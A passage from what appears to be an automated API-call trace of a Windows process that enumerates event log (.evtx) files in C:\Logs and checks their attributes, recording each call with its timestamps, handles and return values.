cAlternateFileName="MI72BF~1.EVT")) returned 1 [0117.430] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0117.430] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0117.430] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0117.431] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0117.431] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0117.431] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0117.431] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0117.431] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0117.431] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0117.431] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0117.431] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0117.431] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0 [0117.432] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0117.433] GetFileAttributesA (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0117.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0117.435] GetFileAttributesA (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0117.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.436] GetFileAttributesA (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0117.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.436] GetFileAttributesA (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0117.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0117.436] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0117.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0117.437] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881138, Size=0x20) returned 0x33ea728 [0117.437] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0117.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0117.623] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0117.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0117.624] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0117.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a828 | out: hHeap=0x2ad0000) returned 1 [0117.625] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0117.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0117.627] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea728, Size=0x40) returned 0x38879b0 [0117.627] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0117.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8a0 | out: hHeap=0x2ad0000) returned 1 [0117.628] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0117.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db670 | out: hHeap=0x2ad0000) returned 1 [0117.628] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0117.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0117.628] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0117.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0117.629] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0117.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0117.631] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0117.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0117.631] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0117.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db6c0 | out: hHeap=0x2ad0000) returned 1 [0117.632] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0117.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0117.633] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38879b0, Size=0x64) returned 0x2a197a8 [0117.634] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0117.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0117.634] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0117.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1ee0 | out: hHeap=0x2ad0000) returned 1 [0117.635] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0117.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0117.635] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0117.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0117.635] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0117.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0117.636] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0117.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0117.636] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0117.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0117.637] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0117.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0117.637] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0117.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0117.638] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a197a8, Size=0x8c) returned 0x2ac0dd0 [0117.638] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0117.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0117.638] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0117.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0117.639] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0117.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0117.639] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0117.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0117.640] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0117.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0117.640] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0117.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0117.641] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0117.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0117.642] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0117.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0117.643] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0117.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0117.643] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0117.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0117.644] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0dd0, Size=0xb8) returned 0x325f830 [0117.644] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0117.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0117.644] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0117.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0117.644] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0117.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0117.645] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0117.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0117.645] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0117.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0117.645] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0117.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0117.646] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0117.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0117.647] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0117.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0117.647] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0117.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0117.648] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0117.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0117.648] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0117.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0117.648] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f830, Size=0xe8) returned 0x33d1470 [0117.648] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0117.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0117.649] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0117.649] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0117.649] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0117.650] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0117.650] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0117.651] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0117.651] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0117.652] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0117.652] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0117.652] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0117.653] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0117.653] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1470, Size=0x120) returned 0x2c374c0 [0117.653] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0117.653] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0117.654] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0117.654] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0117.654] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0117.655] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0117.655] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: 